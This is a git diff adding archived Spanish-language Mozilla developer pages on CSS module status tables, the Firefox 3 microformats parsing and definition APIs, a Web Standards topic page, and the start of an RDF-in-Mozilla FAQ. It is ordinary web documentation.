+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Template", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Template") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Sizing", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Sizing") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Line Grid", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS Line Grid") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Positioning", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Positioning") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Ruby", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Ruby") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSSOM", "", "") }}</strong></td>
+   <td>{{ Spec2("CSSOM") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Overflow", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Overflow") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Font Loading", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Font Loading") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Display", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Display") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Scope", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS Scope") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Media Queries", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS4 Media Queries") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS Non-element Selectors", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS Non-element Selectors") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("Geometry Interfaces", "", "") }}</strong></td>
+   <td>{{ Spec2("Geometry Interfaces") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Inline", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Inline") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_rewriting_phase">Modules in the rewriting phase</h3>
+
+<p>Modules that are in the rewriting phase are outdated and require to be rewritten. The syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.</p>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Box", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Box") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Content", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Content") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F33;"><strong>{{ SpecName("CSS3 Inline Layout", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Inline Layout") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2"> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/archive/estándares_web/analizar_microformatos_en_javascript/index.html b/files/es/archive/estándares_web/analizar_microformatos_en_javascript/index.html
new file mode 100644
index 0000000000..a187eb78c5
--- /dev/null
+++ b/files/es/archive/estándares_web/analizar_microformatos_en_javascript/index.html
@@ -0,0 +1,201 @@
+---
+title: Analizar microformatos en JavaScript
+slug: Archive/Estándares_Web/Analizar_microformatos_en_JavaScript
+tags:
+  - Firefox 3
+  - Microformats
+translation_of: Archive/Web_Standards/Parsing_microformats_in_JavaScript
+---
+<p> Firefox 3 introduces a new API for <a href="es/Using_microformats">managing</a> and parsing microformats. This article examines the generic microformat parsing API, which handles the heavy lifting of pulling data out of a microformat. This API is primarily intended to be used when implementing new microformats.</p>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="dateTimeGetter.28.29" name="dateTimeGetter.28.29">dateTimeGetter()</h3>
+
+<p>Specifically retrieves a date from a microformat node. After getting the text, it is normalized into an ISO 8601 date.</p>
+
+<pre class="eval">normalizedDate = Microformats.parser.dateTimeGetter(propnode, parentnode);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>A string containing the normalized date.</p>
+
+<h3 id="defaultGetter.28.29" name="defaultGetter.28.29">defaultGetter()</h3>
+
+<p>Uses the microformat patterns to decide what the correct text for a given microformat property is. This includes looking at thing such as <code>abbr</code>, <code>img</code> and <code>alt</code>, <code>area</code> and <code>alt</code>, and value excerpting.</p>
+
+<pre class="eval">propertyValue = Microformats.parser.defaultGetter(propnode, parentnode, datatype);
+</pre>
+
+<h6 id="Parameters_2" name="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+ <dt>datatype</dt>
+ <dd>"HTML" if the search should be done using <code>innerHTML()</code>, or "text" to use <code>innerText()</code>. The default is "text".</dd>
+</dl>
+
+<h6 id="Return_value_2" name="Return_value_2">Return value</h6>
+
+<p>A string containing the property's value.</p>
+
+<h3 id="emailGetter.28.29" name="emailGetter.28.29">emailGetter()</h3>
+
+<p>Specifically retrieves an email address from a microformat node. This removes the subject if one is specified, as well as the <code>mailto:</code> prefix.</p>
+
+<pre class="eval">email = Microformats.parser.emailGetter(propnode, parentnode);
+</pre>
+
+<h6 id="Parameters_3" name="Parameters_3">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+</dl>
+
+<h6 id="Return_value_3" name="Return_value_3">Return value</h6>
+
+<p>A string containing the email address.</p>
+
+<h3 id="HTMLGetter.28.29" name="HTMLGetter.28.29">HTMLGetter()</h3>
+
+<p>Retrieves all the HTML from a particular DOM node.</p>
+
+<pre class="eval">html = Microformats.parser.HTMLGetter(propnode, parentnode);
+</pre>
+
+<h6 id="Parameters_4" name="Parameters_4">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+</dl>
+
+<h6 id="Return_value_4" name="Return_value_4">Return value</h6>
+
+<p>An object containing a function you can call to get the string and the HTML.</p>
+
+<p></p><div class="note"><strong>Nota:</strong> This doesn't return the HTML as a string, but an object with a few functions you can call to retrieve the HTML and do other tasks.</div><p></p>
+
+<p>The functions you can call on the returned object are:</p>
+
+<pre class="eval">string = html.toString();
+</pre>
+
+<p>Returns a string using <code>innerText()</code>.</p>
+
+<pre class="eval">string = html.toHTML();
+</pre>
+
+<p>Returns the node's HTML using <code>innerHTML()</code>.</p>
+
+<pre class="eval">string = html.replace(a, b);
+</pre>
+
+<p>Returns a string in which all occurrences of a in the HTML are replaced with b.</p>
+
+<pre class="eval">string = html.match(a);
+</pre>
+
+<p>Performs the specified matching operation on the HTML and returns the result.</p>
+
+<h3 id="iso8601FromDate" name="iso8601FromDate">iso8601FromDate</h3>
+
+<p>Converts a JavaScript date object into an ISO 8601 formatted date.</p>
+
+<pre class="eval">isoDate = Microformats.parser.iso8601FromDate(date, punctuation)
+</pre>
+
+<h6 id="Parameters_5" name="Parameters_5">Parameters</h6>
+
+<dl>
+ <dt>date</dt>
+ <dd>The JavaScript <code>Date</code> object to convert.</dd>
+ <dt>punctuation</dt>
+ <dd><code>true</code> if the date should have "-" and "/" in it.</dd>
+</dl>
+
+<h6 id="Return_value_5" name="Return_value_5">Return value</h6>
+
+<p>A string containing the ISO 8601 formatted date.</p>
+
+<h3 id="textGetter.28.29" name="textGetter.28.29">textGetter()</h3>
+
+<p>Retrieves all the text from a particular DOM node, including all tags. This calls <code><a href="#defaultGetter.28.29">defaultGetter()</a></code> internally.</p>
+
+<pre class="eval">text = Microformats.parser.textGetter(propnode, parentnode);
+</pre>
+
+<h6 id="Parameters_6" name="Parameters_6">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+</dl>
+
+<h6 id="Return_value_6" name="Return_value_6">Return value</h6>
+
+<p>A string containing all the text from the specified microformat node, including the tags.</p>
+
+<h3 id="telGetter.28.29" name="telGetter.28.29">telGetter()</h3>
+
+<p>Specifically retrieves a telephone number from a microformat node. This handles the fact that telephone numbers use "value" as the name of one of their subproperties, but "value" is also used for <a class="external" href="http://microformats.org/wiki/hcard#Value_excerpting">value excerpting</a>.</p>
+
+<pre class="eval">tel = Microformats.parser.telGetter(propnode, parentnode);
+</pre>
+
+<h6 id="Parameters_7" name="Parameters_7">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+</dl>
+
+<h6 id="Return_value_7" name="Return_value_7">Return value</h6>
+
+<p>A string containing the telephone number.</p>
+
+<h3 id="uriGetter.28.29" name="uriGetter.28.29">uriGetter()</h3>
+
+<p>Specifically retrieves a URI from a microformat node. This is done by looking at an <code>href</code>, <code>img</code>, <code>object</code>, or <code>area</code> to get the fully-qualified URI.</p>
+
+<pre class="eval">uri = Microformats.parser.uriGetter(propnode, parentnode);
+</pre>
+
+<h6 id="Parameters_8" name="Parameters_8">Parameters</h6>
+
+<dl>
+ <dt>propnode</dt>
+ <dd>The DOM node to check.</dd>
+ <dt>parentnode</dt>
+ <dd>The property's parent node. If it is a subproperty, this is the parent property node. Otherwise this is the microformat node.</dd>
+</dl>
+
+<h6 id="Return_value_8" name="Return_value_8">Return value</h6>
+
+<p>A string containing the fully-qualified URI.</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<p><a href="es/Using_microformats">Using microformats</a>, <a href="es/Describing_microformats_in_JavaScript">Describing microformats in JavaScript</a></p>
diff --git a/files/es/archive/estándares_web/crear_microformatos_en_javascript/index.html b/files/es/archive/estándares_web/crear_microformatos_en_javascript/index.html
new file mode 100644
index 0000000000..3fb594f13b
--- /dev/null
+++ b/files/es/archive/estándares_web/crear_microformatos_en_javascript/index.html
@@ -0,0 +1,111 @@
+---
+title: Crear microformatos en JavaScript
+slug: Archive/Estándares_Web/Crear_microformatos_en_JavaScript
+tags:
+  - Firefox 3
+  - Microformats
+  - páginas_a_traducir
+translation_of: Archive/Web_Standards/Describing_microformats_in_JavaScript
+---
+<p> Los microformatos son descritos en JavaScript usando un formato de estructura estandarizada que tiene varios miembros estándar que describen el objeto.</p>
+
+<h3 id="Microformat_definition_format" name="Microformat_definition_format">Formato de definición de microformatos</h3>
+
+<p>La definición de microformatos debe contener las siguientes entradas:</p>
+
+<dl>
+ <dt><code>mfVersion</code></dt>
+ <dd>Especifica el numero de versión del microformato API a la definición de la cual fue escrita. Para Firefox 3, este debe ser fijado a 0.8.</dd>
+ <dt><code>mfObject</code></dt>
+ <dd>El objeto JavaScript que implementa el microformato.</dd>
+ <dt><code>className</code></dt>
+ <dd>Una cadena especificando el nombre de las clase de microformato como es referenciada en HTML (<code>class="<em>className</em>"</code>).</dd>
+ <dt><code>required</code></dt>
+ <dd>Un areglo indicando los nombres de todas las propiedades que deben ser especificadas. Este debe ser omitido si todas las propiedades son opcionales.</dd>
+ <dt><code>properties</code></dt>
+ <dd>Una estructura describiendo las propiedades del microformato.</dd>
+</dl>
+
+<h3 id="Property_specifications" name="Property_specifications">Especificaciones de las propiedades</h3>
+
+<p>Cada propiedad en la estructura <code>properties </code>es especificada por su nombre, y debe incluir atributos adicionales si la propiedad lo requiere. Los atributos estándar son:</p>
+
+<dl>
+ <dt><code>plural</code></dt>
+ <dd>Un valor booleano que, si  es <code>true </code>indica que la propiedad puede tener multiples valores. Si una propiedad es plural, este es retornado como un arreglo.</dd>
+ <dt><code>virtual</code></dt>
+ <dd>Un valor booleano que indica si la propiedad es virtual o no. Si esta es virtual, el metodo <code>virtualGetter() </code>sera llamado para intentar crear la propiedad si esta no existe.</dd>
+ <dt><code>virtualGetter</code></dt>
+ <dd>Una funcion que es creada para conseguir el valor de una propiedad virtual. Esta función es usada solo si <code>virtual </code>es <code>true</code>.</dd>
+ <dt><code>value</code></dt>
+ <dd>El valor por defecto de la propiedad.</dd>
+ <dt><code>subproperties</code></dt>
+ <dd>Es posible para una propiedad incluir en si misma mas propiedades; para hacer esto, se deben incluir en una estructura <code>subproperties </code>dentro de la propiedad.</dd>
+ <dt><code>dataType</code></dt>
+ <dd>El tipo de dato contenido por la propiedad. Los posibles valores son:</dd>
+ <dt><code>dateTime</code></dt>
+ <dd>Una fecha ISO</dd>
+ <dt><code>anyURI</code></dt>
+ <dd>Un URI</dd>
+ <dt><code>email</code></dt>
+ <dd>Una dirección de correo electrónico.</dd>
+ <dt><code>tel</code></dt>
+ <dd>Un numero de teléfono.</dd>
+ <dt><code>HTML</code></dt>
+ <dd>HTML incluyendo etiquetas.</dd>
+ <dt><code>float</code></dt>
+ <dd>Un numero de punto flotante.</dd>
+ <dt><code>microformat</code></dt>
+ <dd>Un microformato.</dd>
+ <dt><code>microformat_property</code></dt>
+ <dd>Una propiedad especifica dentro del microformato especificada por <code>microformat</code>.</dd>
+ <dt><code>custom</code></dt>
+ <dd>datos de aduana.</dd>
+</dl>
+
+<h3 id="A_simple_example" name="A_simple_example">Un ejemplo simple</h3>
+
+<p>El microformato hCard para definir información de contactos hace uso del microformato <code>adr </code>para definir una dirección. el microformato <code>adr </code>es definido a continuación:</p>
+
+<pre>var adr_definition = {
+  mfVersion: 0.8,
+  mfObject: adr,
+  className: "adr",
+  properties: {
+    "type" : {
+      plural: true,
+      types: ["work", "home", "pref", "postal", "dom", "intl", "parcel"]
+    },
+    "post-office-box" : {
+    },
+    "street-address" : {
+      plural: true
+    },
+    "extended-address" : {
+    },
+    "locality" : {
+    },
+    "region" : {
+    },
+    "postal-code" : {
+    },
+    "country-name" : {
+    }
+  }
+};
+</pre>
+
+<p>Las propiedades aqui son absolutamente simples. La propiedad <code>type </code>indica el tipo de dirección representada por el objeto (trabajo, hogar, y asi sucesivamente). Desde que la propiedad <code>plural</code> sea <code>true</code>, multiples tipos pueden ser especificados. Esto permite a una dirección ser marcada como sea, por ejemplo, una dirección de trabajo para recibir paquetes.</p>
+
+<p>La propiedad <code>street-address</code> es tambien <code>plural</code>. Esto permite que multiples líneas de información sean contenidas en el arreglo <code>street-address.</code></p>
+
+<p>El microformato esta registrado con el microformato API llamando <code><a href="/es/Using_microformats#add.28.29" title="es/Using_microformats#add.28.29">Microformats.add()</a></code>, como este:</p>
+
+<pre class="eval">Microformats.add("adr", adr_definition);
+</pre>
+
+<p></p><div class="note"><strong>Nota:</strong>  Para ser claro: desde que el  microformato <code>adr</code> esta incluido por defecto en Firefox 3 y posteriores, usted no necesita agregarlo por si mismo si necesita usarlo. </div><p></p>
+
+<h3 id="See_also" name="See_also">Ver tambien</h3>
+
+<p><a href="/es/Using_microformats" title="es/Using_microformats">Using microformats</a>, <a href="/es/Parsing_microformats_in_JavaScript" title="es/Parsing_microformats_in_JavaScript">Parsing microformats in JavaScript</a></p>
diff --git a/files/es/archive/estándares_web/index.html b/files/es/archive/estándares_web/index.html
new file mode 100644
index 0000000000..2f6362a8af
--- /dev/null
+++ b/files/es/archive/estándares_web/index.html
@@ -0,0 +1,64 @@
+---
+title: Estándares Web
+slug: Archive/Estándares_Web
+tags:
+  - Estándares_Web
+translation_of: Archive/Web_Standards
+---
+<p>
+</p>
+<div class="callout-box"><b><a class="external" href="http://www.w3c.es/Presentaciones/2005/0314-estandares-JA/index.html">Estándares Web del W3C</a></b><br>
+Una magnífica introducción al tema</div> <p>Los <b>estándares web</b> se diseñan cuidadosamente para aportar las máximas ventajas al mayor número de usuarios, y aseguran la viabilidad a largo plazo de cualquier documento publicado en la Web. Diseñar y publicar con arreglo a estos estándares simplifica y reduce los costes de producción, Además, los sitios son accesibles a más gente, y a más tipos de dispositivos con acceso a Internet.<sup><a href="https://developer.mozilla.org/es/docs/Archive/Est%C3%A1ndares_Web#endnote_1">[1]</a></sup> </p><p>La entidad encargada de crear, mantener y divulgar los <b>estándares web</b> es el W3C. </p>
+<table class="topicpage-table"> <tbody><tr> <td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a href="es/Ventajas_para_los_negocios_del_uso_de_est%c3%a1ndares_web">Ventajas para los negocios del uso de estándares web</a>
+</dt><dd> <small> Ser fiel a los estándares web, y dejar de lado las tecnologías propietarias puede contribuir a los objetivos comerciales de una compañía. </small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.w3c.es/divulgacion/a-z/">El W3C de la A a la Z</a>
+</dt><dd> <small>Documento cuyo objetivo principal es ofrecer una descripción breve y sencilla sobre las diferentes tecnologías del W3C, proporcionando así a los usuarios una mejor comprensión de las mismas.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://cristian.blindesign.com/diseno/diez-razones-para-aprender-y-usar-estandares-web/">10 razones para usar los estándares</a>
+</dt><dd> <small>Traducción del artículo sobre porqué aprender y usar estándares web</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://w3c.es/Consorcio/">¿Qué es el Consorcio World Wide Web?</a>
+</dt><dd> <small>El W3C, en mil ocasiones habrás leido estas siglas, pero... ¿Qué hay detrás?</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/docs/web-developer/upgrade_2.html">Using Web Standards in your Web Pages <small>(en)</small></a>
+</dt><dd> <small>This article provides an overview of the process for upgrading the content of your web pages to conform to the W3C web standards.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Ver Todos</a></span>
+</p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> En la comunidad Mozilla...
+</li></ul>
+<p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-web-development"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.web-development"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.web-development/feeds"> como RSS</a></li>
+</ul>
+<p></p>
+<ul><li> <a class="external" href="http://webstandards.org/">The Web Standards Project</a>
+</li></ul>
+<p><span class="alllinks"><a href="es/Est%c3%a1ndares_Web/Comunidad">Ver Todos</a></span>
+</p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<ul><li> <a class="external" href="http://validator.w3.org/">Servicio de validacion de HTML y XHTML</a>
+</li><li> <a class="external" href="http://jigsaw.w3.org/css-validator/">Servicio de validacion de CSS</a>
+</li></ul>
+<ul><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Web Developer</a>Extensión para Firefox
+</li></ul>
+<p><span class="alllinks"><a>Ver Todos</a></span>
+</p>
+<h4 id="Temas_relacionados" name="Temas_relacionados"> Temas relacionados </h4>
+<dl><dd> <a href="es/CSS">CSS</a>, <a href="es/HTML">HTML</a>, <a href="es/XML">XML</a>, <a href="es/Desarrollo_Web">Desarrollo Web</a>
+</dd></dl>
+</td> </tr> </tbody></table>
+<hr>
+<p><small></small></p><div class="note"><small><strong>Nota:</strong> 1</small></div><small> - <a class="external" href="http://webstandards.org/">The Web Standards Project</a></small>
+<p></p><p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>
diff --git a/files/es/archive/estándares_web/preguntas_frecuentes_sobre_rdf_en_mozilla/index.html b/files/es/archive/estándares_web/preguntas_frecuentes_sobre_rdf_en_mozilla/index.html
new file mode 100644
index 0000000000..cd499f080a
--- /dev/null
+++ b/files/es/archive/estándares_web/preguntas_frecuentes_sobre_rdf_en_mozilla/index.html
@@ -0,0 +1,446 @@
+---
+title: Preguntas frecuentes sobre RDF en Mozilla
+slug: Archive/Estándares_Web/Preguntas_frecuentes_sobre_RDF_en_Mozilla
+tags:
+  - RDF
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Archive/Web_Standards/RDF_in_Mozilla_FAQ
+---
+<h2 id="General" name="General">General</h2>
+
+<h3 id=".C2.BFPor_d.C3.B3nde_empiezo.3F" name=".C2.BFPor_d.C3.B3nde_empiezo.3F">¿Por dónde empiezo?</h3>
+
+<p><a href="es/RDF">RDF</a> cumple dos objetivos primarios en Mozilla.</p>
+
+<ul>
+ <li>El primero, es una simple base de datos en cruz para guardar una pequeña cantidad de datos.</li>
+</ul>
+
+<ul>
+ <li>El segundo, el más importante, es el modelo RDF que se utiliza junto a <a href="es/XUL/Gu%c3%ada_de_Plantillas">XUL plantillas</a>, un "API" abstracto para mostrar información.</li>
+</ul>
+
+<p><a href="es/RDF_en_cincuenta_palabras_o_menos">RDF en cincuenta palabras o menos</a> es una rápida y muy buena descripción de qué hace RDF en Mozilla.</p>
+
+<p>El documento <a href="es/RDF_Arquitectura_final_(exterior)">RDF Arquitectura final</a> describe con muchos más detalles como trabaja la conexión Mozilla y RDF, y da una explicación de los interfaces implicados.</p>
+
+<h3 id="Donde_puedo_encontrar_informaci.C3.B3n_sobre_Open_Directory_.28.22dmoz.22.29.3F" name="Donde_puedo_encontrar_informaci.C3.B3n_sobre_Open_Directory_.28.22dmoz.22.29.3F">Donde puedo encontrar información sobre Open Directory ("dmoz")?</h3>
+
+<p>Aquí no, desafortunadamente. Bien, aquí hay un poco... Debes empezar en <a class="external" href="http://www.dmoz.org/" rel="freelink">http://www.dmoz.org/</a> para mas información acerca de Open Directory. El set de datos Open Directory está disponible como un, enorme, depósito RDF/XML. Describe miles de sitios Web que usan un mix de vocabulario de <a class="external" href="http://www.dublincore.org/">Dublin Core</a> y de la "taxonomía" DMoz. Para más información mira sus <a class="external" href="http://dmoz.org/rdf.html">páginas RDF</a>, o los <a class="external" href="http://groups.yahoo.com/group/odp-rdf-announce/">anuncios odp-rdf</a> para actualizaciones relacionados con su formato de datos exacto. El sitio <a class="external" href="http://chefmoz.org/">ChefMoz</a> también esta <a class="external" href="http://chefmoz.org/rdf.html">disponible en RDF</a>.</p>
+
+<p>Si tienes problemas con los datos DMoz y ChefMoz, será mejor que contactes directamente esos proyectos. Pero si haces algo interesante con los contenidos (ej. cargando pedazos de los datos desde un sitio remoto hacia una interface de usuario XUL), no olvides hacerlo saber a las listas de <a class="link-mailto" href="mailto:mozilla-rdf@mozilla.org">mozilla-rdf</a> y <a class="link-mailto" href="mailto:www-rdf-interest@w3.org">RDF Interest Group</a>. Estas listas también estarán interesadas en herramientas para limpieza / re-procesamiento y almacenaje de datos DMoz. Para algunos directorios basados en ODP RDF puedes mirar las páginas de los <a class="external" href="http://dmoz.org/Computers/Internet/Searching/Directories/Open_Directory_Project/Use_of_ODP_Data/">sitios que usan ODP Data</a>.</p>
+
+<h3 id="Qu.C3.A9_es_un_datasource.3F" name="Qu.C3.A9_es_un_datasource.3F">Qué es un datasource?</h3>
+
+<p>Generalmente, RDF puede ser visto desde dos puntos de vista: Como un gráfico con nodos y arcos, o como una sopa de declaraciones lógicas. Un datasource es un subgráfico (o coleccíon de declaraciones, dependiendo de tu punto de vista) que por alguna razón están recolectadas todas juntas. Los ejemplos de datasources que existen hoy en día son "marcadores de browser", "historial de navegación", "cuentas de correo IMAP", "servidores de noticia NNTP", y "archivos RDF/XML".</p>
+
+<p>En Mozilla, las datasources pueden unirse usando <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFCompositeDataSource.idl">composite data source</a>. Es como superponer gráficos, o unir una colección de declaraciones ("microteorías"). Las declaraciones acerca de del mismo recurso RDF pueden ser mezcladas. Por ejemplo, "la última fecha de visita" de un sitio en particular proviene del historial de navegación, y el "atajo de teclado" que puedes usar para ese sitio proviene de los marcadores. Ambos datasources refieren al website a través del URL, esta es la "clave" que permite que el datasource sea mezclado con efectividad.</p>
+
+<p>Para mas información acerca de como escribir un datasource por favor remitete a <a href="es/RDF_Datasource_How-To">RDF Datasource How-To</a>.</p>
+
+<h3 id="C.C3.B3mo_administra_los_datasource_Mozilla.3F" name="C.C3.B3mo_administra_los_datasource_Mozilla.3F">Cómo administra los datasource Mozilla?</h3>
+
+<p>El <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl">RDF service</a> administra una tabla con todos los datasources cargados. A la tabla se le asigna una URI, que es algo asi como la URL del archivo RDF/XML, o una URI "especial" que empieza con <code>rdf</code> que hace referencia a un datasource <em>Built-in</em>.</p>
+
+<p>Los datasources se pueden cargar a traves del servicio RDF, utilizando el método <code>GetDataSource()</code>. Si el argumento URI hace referencia a la URL de un archivo RDF/XML, entonces el servicio creará un <em>datasource RDF</em>. El datasource permanecerá "capturado" hasta que la última referencia al datasource sea liberada. Si el argumento URI hace referencia a un datasource Built-in, el servicio RDF utilizará el administrador de componentes XPCOM para cargar el componente cuya <em>ContractID</em> ha sido hecha utilizando la URI "especial" y el bien conocido <code><a class="link-mailto" href="mailto:prefijo@mozilla.org" rel="freelink">prefijo@mozilla.org</a>/rdf/datasource;1?name=</code>.</p>
+
+<p>Por ejemplo:</p>
+
+<p> </p>
+
+<pre class="eval">rdf:foo
+</pre>
+
+<p>que cargará:</p>
+
+<pre class="eval">@mozilla.org/rdf/datasource;1?name=foo
+</pre>
+
+<p>Igual que los datasources RDF/XML, un datasource que es respondida de esta manera, será "capturada" por el servicio RDF hasta que la última referencia es soltada.</p>
+
+<h3 id="C.C3.B3mo_creo_datasources_desde_un_archivo_RDF.2FXML.3F" name="C.C3.B3mo_creo_datasources_desde_un_archivo_RDF.2FXML.3F">Cómo creo datasources desde un archivo RDF/XML?</h3>
+
+<p>Puedes crear un datasource RDF/XML usando el método <code>GetDataSource()</code> del <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl">servicio RDF</a>:</p>
+
+<pre class="eval"><span class="highlightblue">// Obten el servicio RDF</span>
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
